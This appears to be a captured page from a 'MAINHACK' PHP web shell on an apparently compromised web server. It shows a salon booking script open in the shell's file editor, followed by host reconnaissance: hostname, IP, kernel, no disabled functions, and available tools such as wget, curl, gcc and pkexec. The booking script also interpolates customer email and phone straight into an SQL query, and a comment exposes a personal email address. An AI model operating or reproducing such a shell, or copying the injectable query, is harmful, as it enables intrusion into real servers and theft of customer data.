[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: save_booking.php
<?php use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; require '../auth/PHPMailer/src/Exception.php'; require '../auth/PHPMailer/src/PHPMailer.php'; $timezome = 'Africa/Accra'; date_default_timezone_set($timezome); include("db.php"); header('Content-Type: application/json'); ini_set('display_errors', 0); ini_set('log_errors', 1); ob_start(); try { // Database connection assumed to be in db.php } catch (Exception $e) { echo json_encode(['success' => false, 'message' => 'Database connection failed']); ob_end_flush(); exit; } $data = json_decode(file_get_contents('php://input'), true); if (!$data) { echo json_encode(['success' => false, 'message' => 'Invalid input']); ob_end_flush(); exit; } // Validate required fields if (empty($data['customer_first']) || empty($data['customer_last']) || empty($data['customer_email']) || empty($data['customer_phone'])) { echo json_encode(['success' => false, 'message' => 'Customer details are required']); ob_end_flush(); exit; } if (empty($data['shopname'])) { echo json_encode(['success' => false, 'message' => 'Shopname is required']); ob_end_flush(); exit; } if (empty($data['services']) || !is_array($data['services'])) { echo json_encode(['success' => false, 'message' => 'At least one service is required']); ob_end_flush(); exit; } if (empty($data['booking_date']) || empty($data['booking_time']) || empty($data['total_amount'])) { echo json_encode(['success' => false, 'message' => 'Booking details are required']); ob_end_flush(); exit; } try { $con->beginTransaction(); $date = date("Y-m-d"); $gender = "Female"; $myemail = $data['customer_email']; $mynumber = $data['customer_phone']; $getclientid = mysqli_query($new,"SELECT * FROM clients WHERE client_email = '$myemail' OR phone_number = '$mynumber'"); if(mysqli_num_rows($getclientid) > 0){ $getrow = mysqli_fetch_array($getclientid); $customer_id = $getrow['id']; } else { // Step 1: Insert customer into clients table $stmt = $con->prepare("INSERT INTO clients (first_name, last_name, phone_number, client_email, date, gender, business_name) VALUES (:first_name, :last_name, :phone_number, :client_email, :date, :gender, :business_name)"); $stmt->execute([ ':first_name' => $data['customer_first'], ':last_name' => $data['customer_last'], ':phone_number' => $data['customer_phone'], ':client_email' => $data['customer_email'], ':date' => $date, ':gender' => $gender, ':business_name' => $data['shopname'] ]); $customer_id = $con->lastInsertId(); } // Step 2: Insert booking into appointments table $status = 'online'; $active = 'No'; $created = date("Y-m-d"); $payment_mode = 'None'; $date_created = date("Y-m-d H:i"); $discount = "0.0"; $comRate = 0.0; $stmt = $con->prepare("INSERT INTO appointments (date_created, created, client_id, employee_id, start_time, end_time_expected, active, status, payment_mode, business_name, discount,comRate) VALUES (:date_created, :created, :client_id, :employee_id, :start_time, :end_time_expected, :active, :status, :payment_mode, :business_name, :discount,:comRate)"); $stmt->execute([ ':date_created' => $date_created, ':created' => $created, ':client_id' => $customer_id, ':employee_id' => $data['employee_id'] === 'no-preference' ? null : $data['employee_id'], ':start_time' => $data['booking_date'], ':end_time_expected' => $data['booking_time'], ':active' => $active, ':status' => $status, ':payment_mode' => $payment_mode, ':business_name' => $data['shopname'], ':discount' => $discount, ':comRate' => $comRate, ]); $booking_id = $con->lastInsertId(); // Step 3: Insert booking services $stmt = $con->prepare("INSERT INTO true_price (appointment_id, service_id, price) VALUES (:appointment_id, :service_id, :price)"); foreach ($data['services'] as $service) { $stmt->execute([ ':appointment_id' => $booking_id, ':service_id' => $service['service_id'], ':price' => $service['price'] ]); } echo "Great! Your appointment has been created successfully."; echo "</div>"; $subject = "Appointment Booking"; $mail_body = "<head> <meta name='viewport' content='width=device-width' /> <meta http-equiv='Content-Type' content='text/html; charset=UTF-8' /> </head> <body style='margin:0px; background: #f8f8f8; '> <div width='100%' style='background: #f8f8f8; padding: 0px 0px; font-family:arial; line-height:28px; height:100%; width: 100%; color: #000000;'> <table class='email-header'> </table> <div style='max-width: 700px; padding:50px 0; margin: 0px auto; font-size: 14px'> <center> <td class='text-center pb-4'> </td> </center> <div style='padding: 40px; background: #fff;'> <table border='0' cellpadding='0' cellspacing='0' style='width: 100%;'> <tbody> <tr> <td style='border-bottom:1px solid #000000;'> <h1>Appointment Booking</h1> </td> </tr> <tr> <td style='padding:10px 0 30px 0;'> <p style='font-size: 20px'>Thank you for booking an appointment. We will get in intouch soon</p> </td> </tr> <tr> <br /><br /> </tr> </tbody> </table> </div> <center> <td class='text-center pt-4'> <p class='email-copyright-text'>Copyright © 2023 The Salon Friend. All rights reserved.</p> </td> </center> </div> </div> </div> </body> </html>"; //$eMail1 = "benmoshe15@gmail.com"; $mail = new PHPMailer(); $mail->addAddress($myemail); $mail->setFrom('noreply@thesalonfriend.com','Appointment Bookings'); $mail->Subject = $subject; $mail->isHTML(true); $mail->CharSet= 'UTF-8'; $mail->Body = $mail_body; $mail->send(); $con->commit(); echo json_encode(['success' => true, 'booking_id' => $booking_id]); } catch (PDOException $e) { $con->rollBack(); // error_log("Booking failed: " . $e->getMessage()); // echo json_encode(['success' => false, 'message' => 'Booking failed: ' . $e->getMessage()]); } finally { ob_end_flush(); exit; } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002